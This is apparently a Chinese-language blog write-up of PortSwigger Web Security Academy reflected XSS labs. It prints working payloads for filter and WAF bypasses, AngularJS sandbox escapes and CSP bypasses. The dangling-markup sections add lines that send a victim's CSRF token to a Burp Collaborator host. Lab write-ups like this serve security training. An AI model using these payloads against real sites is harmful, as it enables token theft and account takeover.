Portswigger web security academy:Reflected XSS

目录

Reflected XSS into HTML context with nothing encoded

  • 题目要求

    调用alert函数

  • 解题过程

    请求:

    url/?search=asd

    返回:

    <h1>0 search result for 'asd'</h1>

    发现参数search直接嵌入到了html里

    直接插入xss payload就型

    <script>alert()</script>

Reflected XSS into HTML context with most tags and attributes blocked

  • 题目描述

    在搜索功能点可以xss,但是有waf

    要求自动调用alert(document.cookie)

  • 解题过程

    试了半天没有找到可以利用的标签,用burp测试<$$>

    发现body标签可用

    试了半天没有找到可以利用的时间,用burp测试<body $$>

    发现onresize标签可用

    查了一下,onresize在窗口被调整大小时调用

    构造payload:<body onresize=alert(document.cookie)>

    都弹窗了还是没有给过,才发现有个Exploit Server,是要构造csrf的payload:

    <iframe src="https://ac701fd21fa553d380da369500960007.web-security-academy.net/?search=%3Cbody%20onresize%3Dalert%28document.cookie%29%3E" onload=this.style.width='100px'>

    保存然后deliver exploit to victim即可

    这里查了可调整窗口大小的js方法window.resizeTo(x,y),但是不起作用,最后用了官方solution里的this.style.width='100px',后来测试了一下,window属性是原本页面的属性,不是iframe的属性,所以无法激活onresize函数

  • 参考

    标签/事件/payload字典:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Reflected XSS into HTML context with all tags blocked except custom ones

  • 题目描述

    过滤了除过自定义标签之外的所有HTML标签

    要求alert(document.cookie)

  • 解题过程

    自定义标签无法使用onload属性,去上到题用到的cheat-sheet查了一下,发现了这个payload:<xss id=x tabindex=1 onfocus=alert(document.cookie)></xss>,但是不会弹窗,于是我加了个autofocus

    <xss id=x tabindex=1 onfocus=alert(document.cookie) autofocus></xss>

    这里autofocus起作用的原因在于tabindex的意义,tabindex是用来控制tab键的控制次序的,xss标签添加了tabindex属性,让它本身具有了被autofocus的功能(我的理解若有错误,欢迎指正)

    但是会无限弹窗 = =,手动f12跳过还是不给过,然后发现要去Exploit Server!!!

    ctmd真好,然后deliver之后还是不给过,应该是因为无限弹窗吧

    去看了官方solution,用了锚(hash),很巧妙,给xss标签定义id为x,然后用#聚焦到锚点x

    payload: <script>location = "https://aca61f4e1f84997480181c8b0035004a.web-security-academy.net/?search=%3Cxss%20id%3Dx%20tabindex%3D1%20onfocus%3Dalert%28document.cookie%29%3E%3C/xss%3E#x"</script>

Reflected XSS with event handlers and href attributes blocked

  • 题目描述

    一些白名单里的标签可以xss,但是所有事件和href属性都被ban掉了

    要求通过点击调用alert函数

  • 做题过程

    用burp测了下白名单标签,有<a> <animate> <discard> <image> <svg> <title>

    <a href=javascript:alert()>Click</a>

    测试发现,事件过滤的是<x onxxx,没什么用

    然后去搜索标签介绍的时候,看到了一篇利用<animate>标签xss的介绍[1],里面给的payload:<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://safe-url?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a>,但是payload里用到了href,无法利用

    仔细读了一遍介绍,觉得svg+animate+a是可行的,然后继续去找相关的介绍,看到了第二篇介绍[2],这篇介绍里给了一个payload:<svg width=12cm height=9cm><a><image href=//brutelogic.com.br/yt.jpg /><animate attributeName=href values=javascript:alert(1)>(有href属性,与题目环境不符),自己用phpstudy进行测试,很有意思,这个payload是利用animateattributeNamevalues属性给父标签赋值

    需要做的是用文字把image标签替换掉,这里试了很多种,但是都无法显示,觉得很奇怪(f12可以看到元素,但是页面没有显示),于是想到第一篇介绍payload里的text标签,测试之后发现,svg画布里,text标签要有x,y属性才会显示,然后配合animate给父元素赋值的特性,构造payload:<svg><a><text x=20 y=20>Click me</text><animate attributeName=href values="javascript:alert()">

    之后测试发现,<svg><a><rect width=100% height=100% /><animate attributeName=href to=javascript:alert(1)>,这个payload也可以,利用的是animatefrom,to赋值特性

    还有个发现,text标签没有在burp给的标签列表里,得去添加上

  • 参考

Reflected XSS with some SVG markup allowed

  • 题目描述

    站点过滤了一般标签和事件,但是一些SVG的标签和事件被忽略了

    要求调用alert函数,(只能在Chrome中实现)

  • 解题过程

    试了下上到提的payload,发现animate标签被ban了

    然后看了一下,发现discard没有被ban,去cheat-sheet搜payload,找到<svg><discard onbegin=alert(1)>

Reflected XSS into attribute with angle brackets HTML-encoded

  • 题目描述

    在搜索功能点可以xss,但是<>会被HTML编码

    要求调用alert函数

  • 解题步骤

    输了asd,查看页面变化

    <input maxlength="600" type="text" placeholder="Search the blog..." name="search" value="asd">

    可以看到关键词asd被潜入了value

    构造payload:" onfocus=alert() "

    点击之后会一直弹窗,f12跳过之后不给过

    换个payload:" onmouseover=alert() "

Reflected XSS in canonical link tag

  • 题目描述

    站点会过滤<>并反弹用户在canonical link tag 里的输入

    要求调用alert函数

    提示:假设用户会按ALT+SHIFT+XCTRL+ALT+XALT+X

  • 解题过程

    先看了下元素

    <link rel="canonical" href="https://ac001fe01fae00fd80342313000a00d3.web-security-academy.net/">

    尝试的时候发现双引号被url编码了,但是单引号可以

    payload:url?asd%27accesskey=%27alt%2bshift%2bx%27onclick=%27alert(1)

Reflected XSS into a JavaScript string with single quote and backslash escaped

  • 题目描述

    search query tracking功能点处可以xss,会编码单引号和反斜杠

    要求逃逸出js字符串,调用alert函数

  • 解题过程

    关键代码

    <script>
    var searchTerms = 'asd';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
    </script>

    这里涉及了html解析标签的机制,浏览器解析标签的顺序是:

    遇到<x>考试标签,去寻找</x>结束标签,然后才解析标签里的内容

    所以只需要直接嵌入结束标签即可

    payload:</script><img/src=x onerror=alert()>

Reflected XSS into a JavaScript string with angle brackets HTML encoded

  • 题目描述

    search query tracking功能点处可以xss,会编码尖括号

    要求逃逸出js字符串,调用alert函数

  • 解题过程

    关键代码

    <script>
    var searchTerms = 'asd';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
    </script>

    没过滤单引号,直接闭合就可以

    构造payload:';alert()//

Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

  • 题目描述

    search query tracking功能点处可以xss,尖括号和双引号会被HTML编码,单引号会addslash(转义,添加\

    要求逃逸出js字符串,调用alert函数

  • 解题过程

    因为只对单引号进行了addslash,所以可以在单引号前加一个\,就变成了\\',单引号会正常表达

    构造payload:\';alert()//

Reflected XSS in a JavaScript URL with some characters blocked

  • 题目描述

    为了防止xss,ban掉了一些字符,

    要求调用alert(1337)

  • 解题步骤

    点进一个blog,看源码,发现可以这块代码的url是可控的

    <a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d2%26asd'}).finally(_ => window.location = '/')">Back to Blog</a>

    尝试过程:

    • 限制条件:

      • 路径是被URL编码过的
      • \(),HTML实体编码被过滤了

    想到了javascript后是js环境,考虑//注释,尝试过程中发现"可以闭合href

    考虑了利用html解析机制,但是过滤了HTML编码,最主要的是=会被url编码

    尝试了很多方法,都没法闭合前面圆括号里的语句,不闭合的话,点击链接浏览器会报错,onerror也不会被调用

    去看了官方solution

    <a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d2%26%27},x%3dx%3d%3e{throw/**/onerror%3dalert,1337},toString%3dx,window%2b%27%27,{x%3a%27'}).finally(_ => window.location = '/')">Back to Blog</a>

    这些字符虽然被url编码,但是仍能起作用,这才想起来!这是在href上下文里,会被url解码。

    核心在于throw的用法,利用捕获错误的语句,调用alert函数

Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

  • 题目描述

    在搜索博客功能点可以xss,<> ' " \ ` 会被unicode编码

    要求调用alert函数

  • 解题过程

    关键代码

    <script>
    var message = `0 search results for 'sss'`;
    document.getElementById('searchMessage').innerText = message;
    </script>

    这道题我是没想到的,有个东西叫做js模板,相当于字符串里的占位符,但里面的代码可以执行,用法:${code}

    payload:${alert()}

Reflected XSS with AngularJS sandbox escape without strings

  • 题目描述

    这道题用了AngularJS,在该环境里$eval函数不可用,并且不能使用任何字符串( ???)

    要求调用alert函数

  • 解题过程

    AngularJS的环境在[前面的题]里见到过,有现成的payload{{$on.constructor('alert(1)')()}}

    • 关键代码
    <script>angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
    $scope.query = {};
    var key = 'search';
    $scope.query[key] = '{{2*2}}';
    $scope.value = $parse(key)($scope.query);});
    </script> <h1 ng-controller="vulnCtrl" class="ng-scope ng-binding">0 search results for {{2*2}}</h1>

    用不了字符串,就需要把payload改造一下,但我改造不出来 = =

    • 官方的solution

    payload:1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

    • 翻译:

    这个exp使用了toString()函数来创建一个不需要引号的字符串,然后拿到String的原型并重载charAt函数,以此逃逸出沙盒环境(因为我们重载了charAt函数,所以原生js的用法会被允许)。然后,一个数组被传递给orderBy过滤器,我们使用toString()来设置过滤器的参数,以此创建一个字符串以及一个字符串构造器的原型。最后,我们使用fromCharCode方法生成我们的payload。

    • 我的理解:

      • 构造payload:

        重载把原本用于返回指定位置字符的charAt函数转换为join函数

        之后的过滤器和orderBy把数组转换成了字符串

        利用构造器使用fromCharCode函数构造payload

        最后的=1是调用重载后的函数,把payload赋值给[1]

      • 补充(文档说明)

        逃逸AngularJS沙盒

        AngularJS沙盒逃逸的方法有很多,最为熟知的是利用expression来重载charAt()

        即:'a'.constructor.prototype.charAt=[].join

        AngularJS会执行该表达式,并重载charAt()函数,这将导致charAt()函数会一次性返回所有传入的字符,而非单个的字符。由于AngularJS里isIdent()函数(大概是检测输入字符是否合法的函数)的逻辑是比较传入字符与特定字符,而单个字符总是小与字符串,所以isIdent()函数总会返回true,进而可以任意代码执行。

      • 利用:

        angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
        $scope.query = {};
        var key = 'search';
        $scope.query[key] = '1';
        $scope.value = $parse(key)($scope.query);
        var key = 'toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)';
        $scope.query[key] = '1';
        $scope.value = $parse(key)($scope.query);
        });

        可以看到通过1&payload进行了参数污染,把payload赋值给了key,以便利用$parse函数加载payload,太巧妙了

Reflected XSS with AngularJS sandbox escape and CSP

  • 题目描述

    这道题使用了CSP和AngularJS

    要求 绕过CSP,逃逸AngularJS沙盒,并调用alert(document.cookie)

    CSP:Content Security Policy,内容安全策略,以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。

    how-does-an-angularjs-csp-bypass-work:csp会禁止使用Function构造函数,并且会阻止js事件。但是AngularJS定义了它自己的事件,可以利用这个特性来绕过CSP。在Chrome中,$event/event有一个特殊的属性path,这个属性包含了一个可以造成事件被执行的对象的数组。这些对象里最后一个总会是window对象,我们可以利用它来进行沙盒逃逸。通过把这个数组传递给过滤器orderBy,我们可以枚举数组元素并使用window对象来执行全局函数,例如alert(),payload:

    <input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)">

    但是这道题会限制长度,上面的payload用不了,所以需要思考其他方法来隐藏window对象,方法之一是使用array.map()函数,例如:[1].map(alert),map接收一个函数并通过数组中的每一个对象来调用

  • 解题过程

    文档给的提示已经足够多了,只需要组装payload即可

    我最先想到的是<input ng-focus=$event.path|orderBy:'[1].map(alert)(document.cookie)'>

    但是无法弹窗,应该是map()的用法有问题

    修改后:<input ng-focus="$event.path.map(alert)(document.cookie)">

    去看了map()介绍,修改了payload:

    <input ng-focus=$event.path.map(alert,documen.cookie)>

    仍然无效,又试了很多种方式,都无效

    去看了官方solution,payload如下:

    <input id=x ng-focus=$event.path|orderBy:'(x=alert)(document.cookie)'>

    我的理解是:根据(x=alert)进行排序,但是只有一个对象符合,进而执行

Reflected XSS protected by CSP, with dangling markup attack

  • 题目描述

    这道题使用了CSP来限制xss

    要求盗取csrf token来修改另一个用户的邮箱地址

  • 解题过程

    看起来和stored_xss里最后一道一样,试了一下,被禁止跨域请求

    标题说了是标签注入的反射型xss,先去看看哪里可以xss,发现邮箱的input标签用的name,name命名可以通过get传值

    验证:https://ac931fc31e60f5f4808b184f00880021.web-security-academy.net/email?email=xss">

    返回:

    <input required="" type="email" name="email" value="xss">
    <img src="x" onerror="alert()">

    但是这里禁止了跨域加载资源,禁止了自定义函数,不知道怎么把这个csrf token传出去,看了solution,有点巧妙

    (放到exploit server)

    ?email=xss"><table%20background='//tkh0i1f2cwy0aj1e0yhmdf15uw0mob.burpcollaborator.net/?

    利用单引号把后面的标签都当作get参数传给Burp Collaborator,就可以拿到token了

    之后使用burp自带的CSRF PoC生成器(在http请求报文里右键Engagement tools -> generate CSRF PoC),生成一个自动提交(右上角option里面选)的csrf表单,放到exploit server提交

Reflected XSS protected by very strict CSP, with dangling markup attack

  • 题目描述

    这道题使用了严格的CSP来阻止向其他站带你的请求

    要求绕过CSP,用Burp Collaborator盗取CSRF token,最终的xss向量要包含关键字Click

  • 解题过程

    先看下修改邮箱功能点的表单

    <form class="login-form" action="/email/change-email" method="POST">
    <label>Email</label>
    <input required="" type="email" name="email" value="">
    <input required="" type="hidden" name="csrf" value="AVq7jNKnYcAVV2XcHq1XiwX4XTmplnDw">
    <button class="button" type="submit"> Update email </button>
    </form>
    • 思路

      • 因为csp规定了不能跨域,所以考虑能否在其他功能点进行xss,看了下除了修改邮箱就只有评论功能,而且也有csrf token但是评论功能点不能进行xss

      • 查了一番资料,看到了html5里的a标签有个新属性ping,尝试了一下,还是被阻止,原因是请求中有换行符或小于号

        • 看了官方solution

          <script>
          if(window.name) {
          new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
          } else {
          location = 'https://your-lab-id.web-security-academy.net/email?email=%22%3E%3Ca%20href=%22https://your-exploit-server-id.web-security-academy.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
          }
          </script>

          第一感觉是乱,逻辑没理清,捋一捋

          • 用到了window.name,查了一番资料,看到一篇介绍,用window.name可以绕过CSP进行跨域
          • 但是这里没有传输window.name,只用到了<base target=xxx>,自己搭了个页面进行了测试,发现使用<base target='xxx'>指定target的页面进行了跳转(a标签 或者 location=),那么target的值会传给跳转后页面的window.name
          • xxx直呼内行,比妙蛙进了米奇妙妙屋还妙

          剩下的按照上一题,偷csrf token,构造 poc,发送给倒霉蛋受害者

Reflected XSS protected by CSP, with CSP bypass

  • 题目描述

    这道题使用了CSP,并且存在一个反射型xss

    要求调用alert函数,且只在Chrome中可行

  • 解题过程

    <h1>0 search results for '<script>alert()</script>'</h1>

    发现在搜索功能点可以xss,接下来就是想办法绕过CSP

    Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=

    这是CSP设置的策略,发现最后边有个与众不同的report-uri /csp-report?token=,搜了一下,大概意思是把token里的策略发布到对应站点(自定义策略),通过get传值即可,构造payload

    ?search=%3Cscript%3Ealert%28%29%3C/script%3E&token=%3Bscript-src%20%27unsafe-inline%27

    不可行,但感觉没有什么问题,看了官方solution,多了个-elem

    ?search=%3Cscript%3Ealert%28%29%3C/script%3E&token=%3Bscript-src-elem%20%27unsafe-inline%27

    介绍说-elem可以管理(derective)script-src的规则,利用这个参数,可以重写规则

​ 笔者水平有限,如果所述有错误,欢迎指正交流。


  1. https://xz.aliyun.com/t/7612

  2. https://www.freebuf.com/articles/network/147951.html

Portswigger web security academy:Reflected XSS的更多相关文章

  1. Portswigger web security academy:Stored XSS

    Portswigger web security academy:Stored XSS 目录 Portswigger web security academy:Stored XSS Stored XS ...

  2. Portswigger web security academy:DOM Based XSS

    Portswigger web security academy:DOM Based XSS 目录 Portswigger web security academy:DOM Based XSS DOM ...

  3. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  4. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  5. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  6. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  7. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  8. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  9. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

随机推荐

  1. 一. MySQL基础语法

    1. 案例库表 2. DQL语言(数据查询) 2.1 基础查询 -- 进入指定的库 USE myemployees; DESC employees; -- 使用SELECT查询字段 # 1.查询表中的 ...

  2. httpPost的两种方式

    1,post-Body流和post参数,以下客户端代码和服务端代码可共用 客户端代码 /** * post 方法 * 抛送给EDI * @param url http://127.0.0.1:9003 ...

  3. scrapy框架爬取图片并将图片保存到本地

    如果基于scrapy进行图片数据的爬取 在爬虫文件中只需要解析提取出图片地址,然后将地址提交给管道 配置文件中:IMAGES_STORE = './imgsLib' 在管道文件中进行管道类的制定: f ...

  4. Java进阶专题(二十八) Service Mesh初体验

    前言 ​ ⽬前,微服务的架构⽅式在企业中得到了极⼤的发展,主要原因是其解决了传统的单体架构中存在的问题.当单体架构拆分成微服务架构就可以⾼枕⽆忧了吗? 显然不是的.微服务架构体系中同样也存在很多的挑战 ...

  5. Java中的面向切面编程(AOP)

    一.什么是AOP? Aspect Oriented Programming ,即面向切面编程. AOP是对面向对象编程的一个补充. 它的目的是将复杂的需求分解为不同的切面,将散布在系统中的公共功能集中 ...

  6. Software

    Software is a bridge, acorss people, the links, and knowledge. 并非单一的产品,而是整个行业.

  7. SpingCloud Alibaba实战(1:微服务与SpringCloud Alibaba)

    1.什么是微服务? 微服务可谓是这几年比较热门的技术,从2017开始逐渐爆火,逐渐大大小小的公司纷纷将微服务技术引入并在实际业务中落地. 微服务的概念最早是在2014年由Martin Fowler和J ...

  8. Spring Cloud Gateway 扩展支持动态限流

    之前分享过 一篇 <Spring Cloud Gateway 原生的接口限流该怎么玩>, 核心是依赖Spring Cloud Gateway 默认提供的限流过滤器来实现 原生Request ...

  9. CTF导引(一)

    ctf预备知识: 视频:https://www.bilibili.com/video/av62214776?from=search&seid=1436604431801225989 CTF比赛 ...

  10. Hadoop完整搭建过程(二):伪分布模式

    1 伪分布模式 伪分布模式是运行在单个节点以及多个Java进程上的模式.相比起本地模式,需要进行更多配置文件的设置以及ssh.YARN相关设置. 2 Hadoop配置文件 修改Hadoop安装目录下的 ...